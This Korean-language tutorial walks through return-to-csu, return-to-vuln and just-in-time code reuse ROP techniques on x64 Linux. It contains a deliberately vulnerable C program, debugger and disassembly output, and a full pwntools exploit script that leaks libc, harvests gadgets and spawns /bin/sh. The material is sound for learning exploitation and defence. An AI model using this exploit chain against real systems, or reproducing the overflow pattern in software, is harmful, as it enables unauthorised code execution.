Excuse the ads! We need some help to keep our site up.
List
Return-to-csu - x64(feat. & Return-to-vuln)
- return-to-csu는 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기술 입니다.
- __libc_csu_init() 함수는 프로그램 실행시 _init() 함수와 __preinit_array, __init_array 에 설정된 함수 포인터를 읽어서 함수를 호출합니다.
- return-to-csu에서 사용되는 코드는 다음과 같습니다.
- 해당 코드는 __init_array에 저장된 함수 포인터를 읽어 호출하는 코드입니다.
Return-to-vuln
Return-to-vuln 이란 ROP 코드를 실행한 후에 취약성이 있는 코드로 다시 이동하는 것을 말합니다.
Return-to-dl-resolve 기법에서 스택의 흐름을 변경하기 위해 "leave; ret;" Gadget을 이용할 수 있습니다.
하지만 clang으로 컴파일된 바이너리 파일에서는 "leave; ret;" 찾을 수 없습니다.
GCC vs Clang
- 다음과 같이 GCC로 컴파일된 파일에서 "leave ; ret ;" Gadget을 찾을 수 있습니다.
GCC
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ gcc -fno-stack-protector -Wl,-z,relro,-z,now -o rop-gcc rop.c lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ ./rp-lin-x64 -f ./rop-gcc -r 1|grep "leave" 0x00400575: leave ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$
- Clang으로 컴파일된 파일에서는 "leave ; ret ;" Gadget을 찾을 수 없습니다.
Clang
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ clang -fno-stack-protector -Wl,-z,relro,-z,now -o rop rop.c lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ ./rp-lin-x64 -f ./rop -r 1|grep "leave" lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$
다음과 같이 Clang으로 컴파일된 바이너리는 스택(엔트리 포인트)을 정리할 때 "leave" 명령어가 사용되지 않습니다.
objdump -d rop
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ objdump -d rop ... 0000000000400590 <main>: 400590: 55 push %rbp 400591: 48 89 e5 mov %rsp,%rbp 400594: 48 83 ec 10 sub $0x10,%rsp 400598: bf 01 00 00 00 mov $0x1,%edi 40059d: 48 be 54 06 40 00 00 movabs $0x400654,%rsi 4005a4: 00 00 00 4005a7: b8 0a 00 00 00 mov $0xa,%eax 4005ac: 89 c2 mov %eax,%edx 4005ae: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp) 4005b5: e8 86 fe ff ff callq 400440 <_init+0x30> 4005ba: 48 89 45 f0 mov %rax,-0x10(%rbp) 4005be: e8 9d ff ff ff callq 400560 <vuln> 4005c3: 31 c0 xor %eax,%eax 4005c5: 48 83 c4 10 add $0x10,%rsp 4005c9: 5d pop %rbp 4005ca: c3 retq 4005cb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) ... lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$
이러한 문제를 해결하기 위해 Return-to-vuln 기법을 사용할 수 있습니다.
다음과 같이 ROP 코드 실행 후 취약성이 있는 함수를 다시 호출하여 공격하는 방식입니다.
Return-to-vuln
Just-In-Time Code Reuse
- Just-In-Time Code Reuse는 JIT(Just -In-Time Compilation)에 대한 이해가 필요합니다.
- 여기에서 간단하게 설명하면 JIT 컴파일러는 소스 코드 또는 머신 코드에 대한 바이트 코드를 컴파일하고 실행하는 것으로 구성됩니다
- 이러한 동작들은 일반적으로 메모리에서 직접 수행되며, 변형된 바이코드를 실행하기 위해 해당 코드가 저장된 메모리 영역에 실행 권한이 필요합니다.
- Just-In-Time Code Reuse 는 ROP를 이용하여 JIT 컴파일러에 의해 생성된 바이트 코드의 영역을 읽어서 부족한 Gadget을 찾는 방식입니다.
이러한 방식은 JIT 컴파일러에만 적용되지 않으며, 다양하게 활용할 수 있습니다.
이 장에서는 libc 영역을 읽어 부족한 Gadget을 찾아 사용합니다.
Just-In-Time
Proof of concept
Example code
rop.c
//clang -fno-stack-protector -Wl,-z,relro,-z,now -o rop rop.c #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; read(0, buf, 512); } int main(){ write(1,"Hello ROP\n",10); vuln(); return 0; }
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x400560 : vuln 함수 코드 첫부분
0x400575 : read() 함수 호출 전
Breakpoints
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ gdb -q ./rop Reading symbols from ./rop...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0000000000400560 <+0>: push rbp 0x0000000000400561 <+1>: mov rbp,rsp 0x0000000000400564 <+4>: sub rsp,0x50 0x0000000000400568 <+8>: xor edi,edi 0x000000000040056a <+10>: mov eax,0x200 0x000000000040056f <+15>: mov edx,eax 0x0000000000400571 <+17>: lea rsi,[rbp-0x40] 0x0000000000400575 <+21>: call 0x400448 0x000000000040057a <+26>: mov QWORD PTR [rbp-0x48],rax 0x000000000040057e <+30>: add rsp,0x50 0x0000000000400582 <+34>: pop rbp 0x0000000000400583 <+35>: ret End of assembler dump. gdb-peda$ b *0x0000000000400560 Breakpoint 1 at 0x400560 gdb-peda$ b *0x0000000000400575 Breakpoint 2 at 0x400575 gdb-peda$
- 다음과 같이 Overflow를 확인할 수 있습니다.
Return address(0x7fffffffe468) - buf 변수의 시작 주소 (0x7fffffffe420) = 72
- 즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
Check overflow
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/__libc_csu_init/clang/rop Hello ROP Breakpoint 1, 0x0000000000400560 in vuln () gdb-peda$ i r rsp rsp 0x7fffffffe468 0x7fffffffe468 gdb-peda$ c Continuing. Breakpoint 2, 0x0000000000400575 in vuln () gdb-peda$ i r rsi rsi 0x7fffffffe420 0x7fffffffe420 gdb-peda$ p/d 0x7fffffffe468 - 0x7fffffffe420 $1 = 72 gdb-peda$
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
- 번째 ROP Chain
- write() 함수를 이용하여 __libc_start_main@GOT 영역에 저장된 libc 주소를 추출합니다.
- vuln() 함수의 시작 주소로 이동합니다.
- 번째 ROP Chain
- JIT ROP - write() 함수를 이용하여 메모리에 저장된 libc 파일을 출력합니다.
- 출력 값에서 필요한 ROP Gadget을 찾습니다.
- read() 함수를 이용하여 .bss 영역에 값을 저장합니다.
- execve() 함수의 첫번째 인자 값으로 전달할 "/bin/sh"을 .bss 영역에 저장합니다.
- vuln() 함수의 시작 주소로 이동합니다.
- JIT ROP - write() 함수를 이용하여 메모리에 저장된 libc 파일을 출력합니다.
- 번째 ROP Chain
- execve() 시스템 함수를 이용해 "/bin/sh"를 실행 합니다.
- 이를 코드로 표현하면 다음과 같습니다.
write(1,__libc_start_main,8) JMP vuln() write(1,Address of leak libc,0x190000) read(0, base_stage ,8) JMP vuln() execve("/bin/sh", NULL, NULL)
- 공격을 위해 알아야 할 정보는 다음과 같습니다.
- .bss , libc 영역의 주소
- return-to-csu gadget 주소
- read, write 함수의 got 주소
- vuln()함수의 시작 주소
Find the address of the .bss area
readelf -S ./rop
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ readelf -S ./rop There are 29 section headers, starting at offset 0x19f0: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000400254 00000254 0000000000000020 0000000000000000 A 0 0 4 [ 3] .note.gnu.build-i NOTE 0000000000400274 00000274 0000000000000024 0000000000000000 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000400298 00000298 0000000000000030 0000000000000000 A 5 0 8 [ 5] .dynsym DYNSYM 00000000004002c8 000002c8 0000000000000078 0000000000000018 A 6 1 8 [ 6] .dynstr STRTAB 0000000000400340 00000340 0000000000000043 0000000000000000 A 0 0 1 [ 7] .gnu.version VERSYM 0000000000400384 00000384 000000000000000a 0000000000000002 A 5 0 2 [ 8] .gnu.version_r VERNEED 0000000000400390 00000390 0000000000000020 0000000000000000 A 6 1 8 [ 9] .rela.dyn RELA 00000000004003b0 000003b0 0000000000000060 0000000000000018 A 5 0 8 [10] .init PROGBITS 0000000000400410 00000410 000000000000001a 0000000000000000 AX 0 0 4 [11] .plt PROGBITS 0000000000400430 00000430 0000000000000010 0000000000000010 AX 0 0 16 [12] .plt.got PROGBITS 0000000000400440 00000440 0000000000000020 0000000000000000 AX 0 0 8 [13] .text PROGBITS 0000000000400460 00000460 00000000000001e2 0000000000000000 AX 0 0 16 [14] .fini PROGBITS 0000000000400644 00000644 0000000000000009 0000000000000000 AX 0 0 4 [15] .rodata PROGBITS 0000000000400650 00000650 000000000000000f 0000000000000000 A 0 0 4 [16] .eh_frame_hdr PROGBITS 0000000000400660 00000660 000000000000003c 0000000000000000 A 0 0 4 [17] .eh_frame PROGBITS 00000000004006a0 000006a0 0000000000000114 0000000000000000 A 0 0 8 [18] .init_array INIT_ARRAY 0000000000600df0 00000df0 0000000000000008 0000000000000000 WA 0 0 8 [19] .fini_array FINI_ARRAY 0000000000600df8 00000df8 0000000000000008 0000000000000000 WA 0 0 8 [20] .jcr PROGBITS 0000000000600e00 00000e00 0000000000000008 0000000000000000 WA 0 0 8 [21] .dynamic DYNAMIC 0000000000600e08 00000e08 00000000000001c0 0000000000000010 WA 6 0 8 [22] .got PROGBITS 0000000000600fc8 00000fc8 0000000000000038 0000000000000008 WA 0 0 8 [23] .data PROGBITS 0000000000601000 00001000 0000000000000010 0000000000000000 WA 0 0 8 [24] .bss NOBITS 0000000000601010 00001010 0000000000000008 0000000000000000 WA 0 0 1 [25] .comment PROGBITS 0000000000000000 00001010 000000000000006b 0000000000000001 MS 0 0 1 [26] .shstrtab STRTAB 0000000000000000 000018f2 00000000000000fe 0000000000000000 0 0 1 [27] .symtab SYMTAB 0000000000000000 00001080 0000000000000648 0000000000000018 28 45 8 [28] .strtab STRTAB 0000000000000000 000016c8 000000000000022a 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), l (large) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$
Find the address of the return-to-csu gadget
- 다음과 같이 return-to-csu gadget 및 vuln()함수의 주소를 찾을 수 있습니다.
- Gadget 1 : 0x40062a
- Gadget 2 : 0x4005f0
- Gadget 3 : 0x400610
- vuln() : 0x400560
objdump -M intel -d ./rop
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ objdump -M intel -d ./rop ... 0000000000400560 <vuln>: 400560: 55 push rbp 400561: 48 89 e5 mov rbp,rsp 400564: 48 83 ec 50 sub rsp,0x50 400568: 31 ff xor edi,edi 40056a: b8 00 02 00 00 mov eax,0x200 40056f: 89 c2 mov edx,eax 400571: 48 8d 75 c0 lea rsi,[rbp-0x40] 400575: e8 ce fe ff ff call 400448 <_init+0x38> 40057a: 48 89 45 b8 mov QWORD PTR [rbp-0x48],rax 40057e: 48 83 c4 50 add rsp,0x50 400582: 5d pop rbp 400583: c3 ret 400584: 66 66 66 2e 0f 1f 84 data16 data16 nop WORD PTR cs:[rax+rax*1+0x0] 40058b: 00 00 00 00 00 ... 00000000004005d0 <__libc_csu_init>: 4005d0: 41 57 push r15 4005d2: 41 56 push r14 4005d4: 41 89 ff mov r15d,edi 4005d7: 41 55 push r13 4005d9: 41 54 push r12 4005db: 4c 8d 25 0e 08 20 00 lea r12,[rip+0x20080e] # 600df0 <__frame_dummy_init_array_entry> 4005e2: 55 push rbp 4005e3: 48 8d 2d 0e 08 20 00 lea rbp,[rip+0x20080e] # 600df8 <__init_array_end> 4005ea: 53 push rbx 4005eb: 49 89 f6 mov r14,rsi 4005ee: 49 89 d5 mov r13,rdx 4005f1: 4c 29 e5 sub rbp,r12 4005f4: 48 83 ec 08 sub rsp,0x8 4005f8: 48 c1 fd 03 sar rbp,0x3 4005fc: e8 0f fe ff ff call 400410 <_init> 400601: 48 85 ed test rbp,rbp 400604: 74 20 je 400626 <__libc_csu_init+0x56> 400606: 31 db xor ebx,ebx 400608: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 40060f: 00 400610: 4c 89 ea mov rdx,r13 400613: 4c 89 f6 mov rsi,r14 400616: 44 89 ff mov edi,r15d 400619: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 40061d: 48 83 c3 01 add rbx,0x1 400621: 48 39 eb cmp rbx,rbp 400624: 75 ea jne 400610 <__libc_csu_init+0x40> 400626: 48 83 c4 08 add rsp,0x8 40062a: 5b pop rbx 40062b: 5d pop rbp 40062c: 41 5c pop r12 40062e: 41 5d pop r13 400630: 41 5e pop r14 400632: 41 5f pop r15 400634: c3 ret 400635: 90 nop 400636: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 40063d: 00 00 00 ... lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$
Exploit code
rop.py
from pwn import * from struct import * #context.log_level = 'debug' binary = ELF('./rop') execve = 59 addr_bss = 0x601050 addr_got_read = binary.got['read'] addr_got_write = binary.got['write'] addr_got_start = binary.got['__libc_start_main'] addr_csu_init1 = 0x40062a addr_csu_init2 = 0x4005f0 addr_csu_init3 = 0x400610 addr_main = 0x400560 stacksize = 0x400 base_stage = addr_bss + stacksize p = process(binary.path) p.recvn(10) # stage 1: read address of __libc_start_main() buf = 'A' * 72 #Stage 1 - write(1,addr_got_start,8) buf += p64(addr_csu_init1) buf += p64(0) buf += p64(1) buf += p64(addr_got_write) buf += p64(8) buf += p64(addr_got_start) buf += p64(1) #Jump to main() buf += p64(addr_csu_init3) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(addr_main) p.send(buf) leak = p.recv() libc_addr = u64(leak[:8]) log.info("__libc_start_main : " + hex(libc_addr)) libc_bin = '' libc_readsize = 0x190000 buf = 'A' * 72 #Stage 2 - write(1, Address of leak libc, 0x190000) buf += p64(addr_csu_init1) buf += p64(0) buf += p64(1) buf += p64(addr_got_write) buf += p64(libc_readsize) buf += p64(libc_addr) buf += p64(1) #Stage 2 - read(0, base_stage ,8) buf += p64(addr_csu_init3) buf += p64(0) buf += p64(0) buf += p64(1) buf += p64(addr_got_read) buf += p64(8) buf += p64(base_stage) buf += p64(0) #Jump to main() buf += p64(addr_csu_init3) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(addr_main) p.send(buf) with log.progress('Reading libc area from memory...') as l: for i in range(0,libc_readsize/4096): libc_bin += p.recv(4096) l.status(hex(len(libc_bin))) offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret offs_syscall = libc_bin.index('\x0f\x05') # syscall log.info("libc addr : " + hex(libc_addr)) log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax)) log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi)) log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi)) log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx)) log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall)) buf = "/bin/sh\x00" p.send(buf) ##Stage 3 - execve("/bin/sh", NULL, NULL) buf = 'A' * 72 buf += p64(libc_addr + offs_pop_rax) buf += p64(execve) buf += p64(libc_addr + offs_pop_rdi) buf += p64(base_stage) buf += p64(libc_addr + offs_pop_rsi) buf += p64(0) buf += p64(libc_addr + offs_pop_rdx) buf += p64(0) buf += p64(libc_addr + offs_syscall) p.send(buf) p.interactive()
Get shell!
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ python exploit.py [*] '/home/lazenca0x0/Exploit/__libc_csu_init/clang/rop' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process '/home/lazenca0x0/Exploit/__libc_csu_init/clang/rop': pid 18402 [*] __libc_start_main : 0x7fd64e77b740 [+] Reading libc area from memory...: Done [*] libc addr : 0x7fd64e77b740 [*] Gadget : pop rax; ret > 0x7fd64e78e544 [*] Gadget : pop rdi; ret > 0x7fd64e77c102 [*] Gadget : pop rsi; ret > 0x7fd64e77dbb5 [*] Gadget : pop rdx; ret > 0x7fd64e8700a6 [*] Gadget : syscall > 0x7fd64e77b8a4 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
References
- https://en.wikipedia.org/wiki/Just-in-time_compilation
- https://en.wikipedia.org/wiki/JIT_spraying
- https://media.blackhat.com/us-13/US-13-Snow-Just-In-Time-Code-Reuse-Slides.pdf
- http://www.ieee-security.org/TC/SP2013/papers/4977a574.pdf
- http://ksiresearchorg.ipage.com/seke/seke14paper/seke14paper_96.pdf
- https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6547134